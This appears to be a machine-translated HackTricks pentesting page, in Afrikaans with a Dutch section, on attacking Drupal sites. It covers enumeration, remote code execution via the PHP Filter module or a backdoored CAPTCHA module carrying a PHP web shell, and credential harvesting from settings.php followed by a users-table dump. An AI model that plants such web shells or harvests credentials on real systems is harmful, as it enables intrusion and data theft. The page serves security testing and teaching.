12 KiB
Drupal
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Ontdekking
- Kontroleer meta
curl https://www.drupal.org/ | grep 'content="Drupal'
- Node: Drupal indekseer sy inhoud met behulp van nodes. 'n Node kan enige iets bevat, soos 'n blogpos, opiniepeiling, artikel, ens. Die bladsy-URI's is gewoonlik in die vorm
/node/<nodeid>
.
curl drupal-site.com/node/1
Opname
Drupal ondersteun standaard drie tipes gebruikers:
Administrateur
: Hierdie gebruiker het volledige beheer oor die Drupal-webwerf.Geverifieerde Gebruiker
: Hierdie gebruikers kan op die webwerf inlog en operasies uitvoer soos die byvoeg en wysig van artikels gebaseer op hul toestemmings.Anoniem
: Alle webwerfbesoekers word as anoniem aangedui. Standaard word hierdie gebruikers slegs toegelaat om plasings te lees.
Weergawe
- Kontroleer
/CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Nuwer installasies van Drupal blokkeer standaard toegang tot die CHANGELOG.txt
en README.txt
lêers.
{% endhint %}
Gebruikersnaam opsomming
Registreer
In /user/register probeer net om 'n gebruikersnaam te skep en as die naam reeds geneem is, sal dit aangedui word:
Versoek nuwe wagwoord
As jy 'n nuwe wagwoord versoek vir 'n bestaande gebruikersnaam:
As jy 'n nuwe wagwoord versoek vir 'n nie-bestaande gebruikersnaam:
Kry aantal gebruikers
Deur toegang te verkry tot /user/<number> kan jy die aantal bestaande gebruikers sien, in hierdie geval is dit 2 aangesien /users/3 'n nie gevind fout teruggee:
Versteekte bladsye
Fuzz /node/$
waar $
'n nommer is (van 1 tot 500 byvoorbeeld).
Jy kan versteekte bladsye (toets, ontwikkeling) vind wat nie deur soekmasjiene verwys word nie.
Geïnstalleerde module-inligting
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
Outomaties
Drupal
Drupal is 'n gratis en oopbron-inhoudbestuurstelsel (CMS) wat gebruik word om webwerwe te bou en te bestuur. Dit is 'n baie gewilde CMS wat deur baie webwerwe regoor die wêreld gebruik word. As 'n pentester is dit belangrik om te weet hoe om Drupal-webwerwe te toets vir moontlike kwesbaarhede.
Drupal-weergawes
Dit is belangrik om die weergawe van Drupal wat op 'n webwerf gebruik word, te bepaal, aangesien sekere weergawes kwesbaarhede kan hê wat in ander weergawes opgelos is. Dit kan gedoen word deur na spesifieke kenmerke of bestande te soek wat uniek is vir 'n spesifieke weergawe van Drupal.
Drupal-kwesbaarhede
Daar is verskeie kwesbaarhede wat in Drupal-webwerwe kan voorkom. Dit sluit in SQL-injeksie, kruissite-skripsie (XSS), toegangsbeheerprobleme en meer. Dit is belangrik om hierdie kwesbaarhede te identifiseer en te verstaan hoe om dit uit te buit.
Drupal-modules
Drupal maak gebruik van modules om funksionaliteit aan webwerwe toe te voeg. Sommige modules kan kwesbaarhede hê wat uitgebuit kan word. Dit is belangrik om die modules wat op 'n Drupal-webwerf geïnstalleer is, te identifiseer en te ondersoek vir moontlike kwesbaarhede.
Drupal-temas
Temas word gebruik om die voorkoms van 'n Drupal-webwerf te bepaal. Sommige temas kan sekuriteitskwesbaarhede hê wat uitgebuit kan word. Dit is belangrik om die temas wat op 'n Drupal-webwerf gebruik word, te identifiseer en te ondersoek vir moontlike kwesbaarhede.
Drupal-bronne
Daar is baie bronne beskikbaar wat inligting en hulpmiddels bied vir die pentesting van Drupal-webwerwe. Dit sluit in dokumentasie, gemeenskapsforums, veiligheidskennisbasisse en meer. Dit is belangrik om hierdie bronne te raadpleeg om 'n beter begrip van Drupal en die moontlike kwesbaarhede te verkry.
Drupal-pentesting-hulpmiddels
Daar is verskeie hulpmiddels beskikbaar wat spesifiek ontwerp is vir die pentesting van Drupal-webwerwe. Hierdie hulpmiddels kan gebruik word om kwesbaarhede te identifiseer, toetsdata te manipuleer en toegang tot die webwerf te verkry. Dit is belangrik om bekend te wees met hierdie hulpmiddels en hoe om dit effektief te gebruik.
droopescan scan drupal -u http://drupal-site.local
RCE
Met die PHP Filter Module
{% hint style="warning" %}
In ouer weergawes van Drupal (voor weergawe 8), was dit moontlik om as 'n admin in te teken en die PHP filter
module te aktiveer, wat "Ingeslote PHP-kode/snippets toelaat om geëvalueer te word."
{% endhint %}
Jy benodig die plugin php om geïnstalleer te wees (kontroleer dit deur na /modules/php te gaan en as dit 'n 403 teruggee, bestaan dit, as dit nie gevind word nie, is die plugin php nie geïnstalleer nie)
Gaan na Modules -> (Kontroleer) PHP Filter -> Stoor konfigurasie
Klik dan op Voeg inhoud by -> Kies Basiese bladsy of Artikel -> Skryf php shellcode in die liggaam -> Kies PHP-kode in Teks formaat -> Kies Voorbeeld
Laastens, gaan net na die nuut geskepte node:
curl http://drupal-site.local/node/3
Installeer PHP Filter Module
Vanaf weergawe 8 en hoër, is die PHP Filter module nie standaard geïnstalleer nie. Om van hierdie funksionaliteit gebruik te maak, moet ons die module self installeer.
- Laai die mees onlangse weergawe van die module af van die Drupal-webwerf.
- wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Nadat dit afgelaai is, gaan na
Administrasie
>Verslae
>Beskikbare opdaterings
. - Klik op
Deursoek
,
kies die lêer uit die gids waar ons dit afgelaai het, en klik dan opInstalleer
. - Nadat die module geïnstalleer is, kan ons op
Inhoud
klik en 'n nuwe basiese bladsy skep, soortgelyk aan hoe ons dit in die Drupal 7-voorbeeld gedoen het. Maak weer seker omPHP-kode
te kies uit dieTeks formaat
keuslys.
Backdoored Module
'n Backdoored-module kan geskep word deur 'n skulpunt by 'n bestaande module te voeg. Modules kan op die drupal.org-webwerf gevind word. Laat ons 'n module soos CAPTCHA kies. Rol af en kopieer die skakel vir die tar.gz argief.
- Laai die argief af en onttrek die inhoud daarvan.
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- Skep 'n PHP-webdop met die inhoud:
<?php
system($_GET["cmd"]);
?>
- Volgende, moet ons 'n
.htaccess
lêer skep om onsself toegang tot die gids te gee. Dit is nodig omdat Drupal direkte toegang tot die/modules
gids weier.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- Die konfigurasie hierbo sal reëls toepas vir die /-vouer wanneer ons 'n lêer in die /modules-vouer aanvra. Kopieer albei hierdie lêers na die captcha-vouer en skep 'n argief.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- Veronderstel dat ons administratiewe toegang tot die webwerf het, klik op
Bestuur
en danUitbrei
in die sybalk. Klik daarna op die+ Installeer nuwe module
knoppie, en ons sal na die installasiebladsy geneem word, sooshttp://drupal-site.local/admin/modules/install
. Blaai na die agterdeurde Captcha-argief en klikInstalleer
. - Sodra die installasie suksesvol is, blaai na
/modules/captcha/shell.php
om opdragte uit te voer.
Post Exploitation
Lees settings.php
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
Stort gebruikers uit DB
Om gebruikers uit een database te dumpen, kunt u de volgende stappen volgen:
-
Identificeer de database die wordt gebruikt door de Drupal-website. Dit kan meestal worden gevonden in het configuratiebestand van Drupal (
settings.php
). -
Maak verbinding met de database met behulp van een databasebeheertool zoals phpMyAdmin of de opdrachtregelinterface van MySQL.
-
Zoek de tabel die de gebruikersinformatie bevat. In Drupal is dit meestal de tabel met de naam
users
. -
Voer een SQL-query uit om alle gebruikersgegevens uit de tabel te selecteren. Bijvoorbeeld:
SELECT * FROM users;
Deze query selecteert alle kolommen en rijen uit de
users
-tabel. -
Exporteer de resultaten van de query naar een bestand of bekijk ze direct in de databasebeheertool.
Opmerking: Het dumpen van gebruikersgegevens uit een database kan illegaal zijn zonder de juiste toestemming. Zorg ervoor dat u de wettelijke en ethische richtlijnen volgt bij het uitvoeren van deze actie.
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
Verwysings
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.